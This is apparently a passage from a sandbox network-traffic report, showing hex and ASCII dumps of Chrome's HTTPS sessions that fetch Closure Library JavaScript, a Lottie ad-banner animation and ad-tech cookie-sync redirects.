2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 68 3d 74 28 66 29 2c 6b 3d 68 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 6b 2e 64 6f 6e 65 3f 63 28 5b 5d 29 3a 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 43 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 4c 29 7b 6e 5b 43 5d 3d 4c 3b 76 2d 2d 3b 30 3d 3d 76 26 26 6c 28 6e 29 7d 7d 76 61 72 20 6e 3d 5b 5d 2c 76 3d 30 3b 64 6f 20 6e 2e 70 75 73 68 28 76 6f 69 64 20 30 29 2c 76 2b 2b 2c 63 28 6b 2e 76 61 6c 75 65 29 2e 54 28 72 28 6e 2e 6c 65 6e 67 74 68 2d 31 29 2c 6d 29 2c 6b 3d 68 2e 6e 65 78 74 28 29 3b 0a 77 68 69 6c 65 28 21 6b 2e 64 6f 6e 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 71 28 22 4e 75 6d 62 65 72 2e 4d 41 58 5f 53 Data Ascii: all=function(f){var h=t(f),k=h.next();return k.done?c([]):new e(function(l,m){function r(C){return function(L){n[C]=L;v--;0==v&&l(n)}}var n=[],v=0;do n.push(void 0),v++,c(k.value).T(r(n.length-1),m),k=h.next();while(!k.done)})};return e});q("Number.MAX_S
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 63 5d 3b 69 66 28 67 3d 3d 3d 62 7c 7c 4f 62 6a 65 63 74 2e 69 73 28 67 2c 62 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 7d 29 3b 76 61 72 20 74 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 6e 75 6c 6c 3d 3d 61 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 Data Ascii: c];if(g===b\|\|Object.is(g,b))return!0}return!1}});var ta=function(a,b,c){if(null==a)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.protot
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 62 2f 63 2e 6c 65 6e 67 74 68 29 29 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 62 29 3a 22 22 29 2b 64 7d 7d 29 3b 71 28 22 67 6c 6f 62 61 6c 54 68 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 70 7d 29 3b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 75 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 76 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3a 7b 76 61 72 20 62 3d 5b 22 43 4c 4f 53 55 52 45 5f 46 4c 41 47 53 22 5d 3b 66 6f 72 28 76 61 72 20 63 3d 75 2c 64 3d 30 3b 64 3c 62 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 69 66 28 Data Ascii: b/c.length)).substring(0,b):"")+d}});q("globalThis",function(a){return a\|\|p});/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var u=this\|\|self,va=function(a){a:{var b=["CLOSURE_FLAGS"];for(var c=u,d=0;d<b.length;d++)if(
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 22 29 7d 66 75 6e 63 74 69 6f 6e 20 4d 61 28 29 7b 72 65 74 75 72 6e 20 79 28 29 3f 4a 61 28 22 43 68 72 6f 6d 69 75 6d 22 29 3a 28 78 28 22 43 68 72 6f 6d 65 22 29 7c 7c 78 28 22 43 72 69 4f 53 22 29 29 26 26 21 28 79 28 29 3f 30 3a 78 28 22 45 64 67 65 22 29 29 7c 7c 78 28 22 53 69 6c 6b 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 4e 61 28 29 7b 72 65 74 75 72 6e 20 43 61 3f 21 21 77 26 26 21 21 77 2e 70 6c 61 74 66 6f 72 6d 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 4f 61 28 29 7b 72 65 74 75 72 6e 20 78 28 22 69 50 68 6f 6e 65 22 29 26 26 21 78 28 22 69 50 6f 64 22 29 26 26 21 78 28 22 69 50 61 64 22 29 7d 66 75 6e 63 74 69 6f 6e 20 50 61 28 29 7b 4f 61 28 29 7c 7c 78 28 22 69 50 61 64 22 29 7c 7c 78 28 22 69 50 6f 64 22 29 7d 3b 76 61 72 20 51 61 3d 41 72 72 Data Ascii: ")}function Ma(){return y()?Ja("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk")};function Na(){return Ca?!!w&&!!w.platform:!1}function Oa(){return x("iPhone")&&!x("iPod")&&!x("iPad")}function Pa(){Oa()\|\|x("iPad")\|\|x("iPod")};var Qa=Arr
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 69 6e 20 64 26 26 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 0a 64 5b 65 5d 2c 65 2c 61 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 3b 66 75 6e 63 74 69 6f 6e 20 56 61 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 5b 5d 2c 63 3d 30 3b 63 3c 61 3b 63 2b 2b 29 62 5b 63 5d 3d 22 22 3b 72 65 74 75 72 6e 20 62 7d 3b 76 61 72 20 57 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 57 61 5b 22 20 22 5d 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 57 61 5b 22 20 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 4b 61 28 29 3b 76 61 72 20 58 61 3d 79 28 29 3f 21 31 3a 78 28 22 54 72 69 64 65 6e 74 22 29 7c 7c 78 28 22 4d 53 49 45 22 29 3b 78 28 22 45 64 67 65 22 29 3b 21 78 28 22 47 65 63 6b 6f 22 29 7c 7c 2d 31 21 3d 48 61 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: in d&&b.call(void 0,d[e],e,a))return!0;return!1};function Va(a){for(var b=[],c=0;c<a;c++)b[c]="";return b};var Wa=function(a){Wa[" "](a);return a};Wa[" "]=function(){};Ka();var Xa=y()?!1:x("Trident")\|\|x("MSIE");x("Edge");!x("Gecko")\|\|-1!=Ha().toLowerCase

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.4	50147	142.251.163.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	630	OUT	GET /sadbundle/13259857157114927549/CB1-Curi_300x600/data2.json HTTP/1.1 Host: s0.2mdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	840	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: application/json Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Timing-Allow-Origin: * Content-Length: 120970 Date: Sat, 27 Apr 2024 22:42:10 GMT Expires: Sun, 27 Apr 2025 22:42:10 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 21 Mar 2024 14:01:53 GMT X-Content-Type-Options: nosniff Allow-Fenced-Frame-Automatic-Beacons: true X-DNS-Prefetch-Control: off Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:11 UTC	415	IN	Data Raw: 7b 22 76 22 3a 22 35 2e 31 32 2e 32 22 2c 22 66 72 22 3a 32 34 2c 22 69 70 22 3a 30 2c 22 6f 70 22 3a 32 34 30 2c 22 77 22 3a 36 30 30 2c 22 68 22 3a 31 32 30 30 2c 22 6e 6d 22 3a 22 43 42 31 2d 43 75 72 69 5f 33 30 30 78 36 30 30 2d 32 78 22 2c 22 64 64 64 22 3a 31 2c 22 61 73 73 65 74 73 22 3a 5b 7b 22 69 64 22 3a 22 69 6d 61 67 65 5f 30 22 2c 22 77 22 3a 36 30 30 2c 22 68 22 3a 31 32 30 30 2c 22 75 22 3a 22 69 6d 61 67 65 73 2f 22 2c 22 70 22 3a 22 69 6d 67 5f 30 2e 70 6e 67 22 2c 22 65 22 3a 30 7d 2c 7b 22 69 64 22 3a 22 69 6d 61 67 65 5f 31 22 2c 22 77 22 3a 31 30 30 30 2c 22 68 22 3a 38 30 30 2c 22 75 22 3a 22 69 6d 61 67 65 73 2f 22 2c 22 70 22 3a 22 69 6d 67 5f 31 2e 6a 70 67 22 2c 22 65 22 3a 30 7d 2c 7b 22 69 64 22 3a 22 69 6d 61 67 65 5f 32 22 Data Ascii: {"v":"5.12.2","fr":24,"ip":0,"op":240,"w":600,"h":1200,"nm":"CB1-Curi_300x600-2x","ddd":1,"assets":[{"id":"image_0","w":600,"h":1200,"u":"images/","p":"img_0.png","e":0},{"id":"image_1","w":1000,"h":800,"u":"images/","p":"img_1.jpg","e":0},{"id":"image_2"
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 3a 31 2c 22 6b 73 22 3a 7b 22 6f 22 3a 7b 22 61 22 3a 31 2c 22 6b 22 3a 5b 7b 22 69 22 3a 7b 22 78 22 3a 5b 30 2e 30 35 38 5d 2c 22 79 22 3a 5b 31 5d 7d 2c 22 6f 22 3a 7b 22 78 22 3a 5b 30 2e 32 32 33 5d 2c 22 79 22 3a 5b 30 5d 7d 2c 22 74 22 3a 30 2c 22 73 22 3a 5b 30 5d 7d 2c 7b 22 74 22 3a 39 2c 22 73 22 3a 5b 31 30 30 5d 7d 5d 2c 22 69 78 22 3a 31 31 7d 2c 22 72 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 31 30 7d 2c 22 70 22 3a 7b 22 73 22 3a 74 72 75 65 2c 22 78 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 33 30 30 2c 22 69 78 22 3a 33 7d 2c 22 79 22 3a 7b 22 61 22 3a 31 2c 22 6b 22 3a 5b 7b 22 69 22 3a 7b 22 78 22 3a 5b 30 2e 33 35 33 5d 2c 22 79 22 3a 5b 31 5d 7d 2c 22 6f 22 3a 7b 22 78 22 3a 5b 30 2e 34 34 39 5d 2c 22 79 22 3a 5b 30 5d Data Ascii: :1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.058],"y":[1]},"o":{"x":[0.223],"y":[0]},"t":0,"s":[0]},{"t":9,"s":[100]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"s":true,"x":{"a":0,"k":300,"ix":3},"y":{"a":1,"k":[{"i":{"x":[0.353],"y":[1]},"o":{"x":[0.449],"y":[0]
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 22 3a 31 2c 22 6b 73 22 3a 7b 22 6f 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 31 31 7d 2c 22 72 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 31 30 7d 2c 22 70 22 3a 7b 22 73 22 3a 74 72 75 65 2c 22 78 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 33 30 30 2c 22 69 78 22 3a 33 7d 2c 22 79 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 36 30 30 2c 22 69 78 22 3a 34 7d 7d 2c 22 61 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 33 30 30 2c 36 30 30 2c 30 5d 2c 22 69 78 22 3a 31 2c 22 6c 22 3a 32 7d 2c 22 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 31 30 30 2c 31 30 30 2c 31 30 30 5d 2c 22 69 78 22 3a 36 2c 22 6c 22 3a 32 7d 7d 2c 22 61 6f 22 3a 30 2c 22 69 70 22 3a 30 2c 22 6f 70 22 3a 34 34 2c 22 73 74 22 3a 2d 32 34 2c 22 62 6d 22 3a 30 Data Ascii: ":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"s":true,"x":{"a":0,"k":300,"ix":3},"y":{"a":0,"k":600,"ix":4}},"a":{"a":0,"k":[300,600,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"ip":0,"op":44,"st":-24,"bm":0
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 2c 22 73 61 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 35 7d 2c 22 6e 6d 22 3a 22 54 72 61 6e 73 66 6f 72 6d 22 7d 5d 2c 22 6e 6d 22 3a 22 47 72 6f 75 70 20 31 22 2c 22 6e 70 22 3a 32 2c 22 63 69 78 22 3a 32 2c 22 62 6d 22 3a 30 2c 22 69 78 22 3a 31 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 65 63 74 6f 72 20 47 72 6f 75 70 22 2c 22 68 64 22 3a 66 61 6c 73 65 7d 5d 2c 22 69 70 22 3a 36 34 2c 22 6f 70 22 3a 33 31 38 2c 22 73 74 22 3a 37 38 2c 22 63 74 22 3a 31 2c 22 62 6d 22 3a 30 7d 2c 7b 22 64 64 64 22 3a 30 2c 22 69 6e 64 22 3a 34 2c 22 74 79 22 3a 32 2c 22 6e 6d 22 3a 22 33 30 30 78 36 30 30 5f 43 54 41 2e 61 69 22 2c 22 63 6c 22 3a 22 61 69 22 2c 22 74 74 22 3a 31 2c 22 74 70 22 3a 33 2c 22 72 65 66 49 64 22 3a 22 69 6d 61 67 65 5f 30 22 Data Ascii: ,"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 1","np":2,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":64,"op":318,"st":78,"ct":1,"bm":0},{"ddd":0,"ind":4,"ty":2,"nm":"300x600_CTA.ai","cl":"ai","tt":1,"tp":3,"refId":"image_0"
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 61 22 3a 30 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 31 31 7d 2c 22 72 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 31 30 7d 2c 22 70 22 3a 7b 22 73 22 3a 74 72 75 65 2c 22 78 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 33 30 30 2c 22 69 78 22 3a 33 7d 2c 22 79 22 3a 7b 22 61 22 3a 31 2c 22 6b 22 3a 5b 7b 22 69 22 3a 7b 22 78 22 3a 5b 30 2e 33 35 32 5d 2c 22 79 22 3a 5b 31 5d 7d 2c 22 6f 22 3a 7b 22 78 22 3a 5b 30 2e 34 34 39 5d 2c 22 79 22 3a 5b 30 5d 7d 2c 22 74 22 3a 30 2c 22 73 22 3a 5b 32 36 36 31 5d 7d 2c 7b 22 74 22 3a 35 30 2c 22 73 22 3a 5b 39 30 31 5d 7d 5d 2c 22 69 78 22 3a 34 7d 7d 2c 22 61 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 30 2c 30 2c 30 5d 2c 22 69 78 22 3a 31 2c 22 6c 22 3a 32 7d 2c 22 73 22 3a 7b 22 61 22 3a 30 2c 22 6b Data Ascii: a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"s":true,"x":{"a":0,"k":300,"ix":3},"y":{"a":1,"k":[{"i":{"x":[0.352],"y":[1]},"o":{"x":[0.449],"y":[0]},"t":0,"s":[2661]},{"t":50,"s":[901]}],"ix":4}},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 31 7d 2c 22 72 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 31 30 7d 2c 22 70 22 3a 7b 22 73 22 3a 74 72 75 65 2c 22 78 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 33 30 34 2c 22 69 78 22 3a 33 7d 2c 22 79 22 3a 7b 22 61 22 3a 31 2c 22 6b 22 3a 5b 7b 22 69 22 3a 7b 22 78 22 3a 5b 30 5d 2c 22 79 22 3a 5b 31 5d 7d 2c 22 6f 22 3a 7b 22 78 22 3a 5b 30 2e 36 33 34 5d 2c 22 79 22 3a 5b 30 5d 7d 2c 22 74 22 3a 36 34 2c 22 73 22 3a 5b 38 37 39 2e 35 31 38 5d 7d 2c 7b 22 74 22 3a 38 32 2c 22 73 22 3a 5b 35 35 39 2e 35 31 38 5d 7d 5d 2c 22 69 78 22 3a 34 7d 7d 2c 22 61 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 33 30 30 2c 38 37 39 2e 35 31 38 2c 30 5d 2c 22 69 78 22 3a 31 2c 22 6c 22 3a 32 7d 2c 22 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 31 30 30 2c Data Ascii: 1},"r":{"a":0,"k":0,"ix":10},"p":{"s":true,"x":{"a":0,"k":304,"ix":3},"y":{"a":1,"k":[{"i":{"x":[0],"y":[1]},"o":{"x":[0.634],"y":[0]},"t":64,"s":[879.518]},{"t":82,"s":[559.518]}],"ix":4}},"a":{"a":0,"k":[300,879.518,0],"ix":1,"l":2},"s":{"a":0,"k":[100,
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 2c 2d 36 2e 30 37 33 5d 2c 5b 31 33 2e 38 39 38 2c 37 2e 39 35 33 5d 2c 5b 31 36 2e 39 39 36 2c 31 35 2e 30 34 32 5d 2c 5b 31 38 2e 37 39 2c 31 35 2e 32 38 37 5d 2c 5b 31 38 2e 36 32 37 2c 31 37 2e 33 32 35 5d 2c 5b 31 30 2e 39 36 32 2c 31 37 2e 30 37 37 5d 2c 5b 33 2e 33 38 35 2c 31 37 2e 33 32 35 5d 2c 5b 33 2e 32 32 32 2c 31 35 2e 32 38 37 5d 2c 5b 34 2e 37 37 31 2c 31 35 2e 30 34 32 5d 2c 5b 37 2e 38 36 34 2c 37 2e 39 35 33 5d 2c 5b 37 2e 38 36 34 2c 2d 34 2e 32 30 31 5d 2c 5b 30 2e 32 30 36 2c 2d 31 32 2e 32 36 35 5d 2c 5b 2d 36 2e 37 32 39 2c 2d 39 2e 34 31 33 5d 2c 5b 2d 37 2e 39 34 35 2c 2d 34 2e 35 32 5d 2c 5b 2d 37 2e 39 34 35 2c 37 2e 39 35 33 5d 2c 5b 2d 34 2e 38 35 32 2c 31 35 2e 30 34 32 5d 2c 5b 2d 33 2e 33 38 33 2c 31 35 2e 32 38 37 5d 2c Data Ascii: ,-6.073],[13.898,7.953],[16.996,15.042],[18.79,15.287],[18.627,17.325],[10.962,17.077],[3.385,17.325],[3.222,15.287],[4.771,15.042],[7.864,7.953],[7.864,-4.201],[0.206,-12.265],[-6.729,-9.413],[-7.945,-4.52],[-7.945,7.953],[-4.852,15.042],[-3.383,15.287],
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 7b 22 69 22 3a 5b 5b 30 2c 30 5d 2c 5b 31 30 2e 31 39 32 2c 30 5d 2c 5b 30 2c 31 30 2e 31 38 37 5d 2c 5b 2d 39 2e 36 32 2c 30 5d 2c 5b 30 2c 2d 31 30 2e 30 32 36 5d 5d 2c 22 6f 22 3a 5b 5b 30 2c 31 30 2e 31 39 32 5d 2c 5b 2d 39 2e 33 37 37 2c 30 5d 2c 5b 30 2c 2d 31 30 2e 32 37 32 5d 2c 5b 39 2e 31 33 31 2c 30 5d 2c 5b 30 2c 30 5d 5d 2c 22 76 22 3a 5b 5b 31 36 2e 39 35 36 2c 2d 30 2e 33 32 35 5d 2c 5b 2d 30 2e 32 34 34 2c 31 37 2e 32 30 31 5d 2c 5b 2d 31 36 2e 39 35 36 2c 30 2e 34 31 32 5d 2c 5b 30 2e 34 30 37 2c 2d 31 37 2e 32 30 31 5d 2c 5b 31 36 2e 39 35 36 2c 2d 30 2e 33 32 35 5d 5d 2c 22 63 22 3a 66 61 6c 73 65 7d 2c 22 69 78 22 3a 32 7d 2c 22 6e 6d 22 3a 22 50 61 74 68 20 32 22 2c 22 6d 6e 22 3a 22 41 44 42 45 Data Ascii: ":{"a":0,"k":{"i":[[0,0],[10.192,0],[0,10.187],[-9.62,0],[0,-10.026]],"o":[[0,10.192],[-9.377,0],[0,-10.272],[9.131,0],[0,0]],"v":[[16.956,-0.325],[-0.244,17.201],[-16.956,0.412],[0.407,-17.201],[16.956,-0.325]],"c":false},"ix":2},"nm":"Path 2","mn":"ADBE
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 5d 2c 5b 32 2e 38 35 37 2c 30 5d 2c 5b 32 2e 32 38 36 2c 2d 30 2e 31 36 31 5d 2c 5b 2d 30 2e 35 36 37 2c 30 2e 34 30 32 5d 2c 5b 30 2c 30 5d 2c 5b 30 2c 35 2e 38 36 38 5d 5d 2c 22 6f 22 3a 5b 5b 30 2c 2d 33 2e 31 37 38 5d 2c 5b 30 2c 30 5d 2c 5b 2d 30 2e 33 33 2c 2d 30 2e 33 33 5d 2c 5b 31 2e 38 37 39 2c 2d 30 2e 36 34 37 5d 2c 5b 30 2e 34 30 36 2c 30 5d 2c 5b 2d 30 2e 31 36 35 2c 32 2e 38 35 35 5d 2c 5b 30 2c 30 5d 2c 5b 30 2c 35 2e 38 36 38 5d 2c 5b 30 2c 30 5d 2c 5b 30 2e 35 37 34 2c 30 2e 34 30 32 5d 2c 5b 2d 32 2e 34 34 34 2c 2d 30 2e 31 36 31 5d 2c 5b 2d 32 2e 39 33 37 2c 30 5d 2c 5b 2d 30 2e 35 36 37 2c 2d 30 2e 32 34 35 5d 2c 5b 30 2c 30 5d 2c 5b 33 2e 30 31 31 2c 2d 30 2e 34 31 33 5d 2c 5b 30 2c 30 5d 5d 2c 22 76 22 3a 5b 5b 2d 33 2e 30 31 36 2c Data Ascii: ],[2.857,0],[2.286,-0.161],[-0.567,0.402],[0,0],[0,5.868]],"o":[[0,-3.178],[0,0],[-0.33,-0.33],[1.879,-0.647],[0.406,0],[-0.165,2.855],[0,0],[0,5.868],[0,0],[0.574,0.402],[-2.444,-0.161],[-2.937,0],[-0.567,-0.245],[0,0],[3.011,-0.413],[0,0]],"v":[[-3.016,
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 2c 5b 2d 30 2e 33 33 33 2c 2d 30 2e 35 36 39 5d 2c 5b 30 2c 30 5d 2c 5b 2d 31 2e 33 38 34 2c 30 5d 2c 5b 30 2c 30 5d 2c 5b 30 2e 37 33 37 2c 2d 30 2e 34 39 35 5d 5d 2c 22 6f 22 3a 5b 5b 2d 31 2e 33 38 34 2c 30 5d 2c 5b 30 2c 30 5d 2c 5b 30 2c 34 2e 37 32 37 5d 2c 5b 30 2e 38 31 32 2c 30 5d 2c 5b 30 2e 37 33 2c 2d 30 2e 32 34 35 5d 2c 5b 30 2e 36 34 35 2c 30 5d 2c 5b 2d 31 2e 34 36 36 2c 31 2e 37 30 38 5d 2c 5b 2d 37 2e 30 31 33 2c 30 5d 2c 5b 30 2c 30 5d 2c 5b 30 2c 2d 32 2e 31 39 36 5d 2c 5b 30 2c 30 5d 2c 5b 2d 30 2e 34 39 36 2c 2d 30 2e 33 32 38 5d 2c 5b 32 2e 33 36 38 2c 2d 30 2e 37 33 5d 2c 5b 31 2e 30 35 36 2c 2d 30 2e 39 38 5d 2c 5b 30 2e 34 30 36 2c 2d 30 2e 31 36 33 5d 2c 5b 30 2c 30 5d 2c 5b 30 2c 31 2e 34 36 36 5d 2c 5b 30 2c 30 5d 2c 5b 30 2e Data Ascii: ,[-0.333,-0.569],[0,0],[-1.384,0],[0,0],[0.737,-0.495]],"o":[[-1.384,0],[0,0],[0,4.727],[0.812,0],[0.73,-0.245],[0.645,0],[-1.466,1.708],[-7.013,0],[0,0],[0,-2.196],[0,0],[-0.496,-0.328],[2.368,-0.73],[1.056,-0.98],[0.406,-0.163],[0,0],[0,1.466],[0,0],[0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.4	50148	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	967	OUT	GET /w/1.0/cm?id=78e2dffc-bb89-4bb2-ae92-f592d006518b&ph=6a16560a-f6c6-4851-b7b5-0b2c0190166a&r=https%3A%2F%2Fcontextual.media.net%2Fcksync.html%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dopx%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
2024-04-27 22:42:11 UTC	665	IN	HTTP/1.1 302 Moved Temporarily Vary: Accept, Accept-Encoding Set-Cookie: i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; Version=1; Expires=Sun, 27-Apr-2025 22:42:10 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://contextual.media.net/cksync.html?cs=8&vsid=3572593249104590000V10&type=opx&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=0c862afa-665c-0e9e-22ac-a733d256e22a Date: Sat, 27 Apr 2024 22:42:10 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.4	50149	69.166.1.67	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	804	OUT	GET /us?https://contextual.media.net/cksync.php?cs=8&vsid=3572593249104590000V10&type=son&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=[UID] HTTP/1.1 Host: sync.go.sonobi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __uis=2d729954-b637-472c-acf0-d931fcda5d4a; HAPLB8G=s8599\|Zi1/P
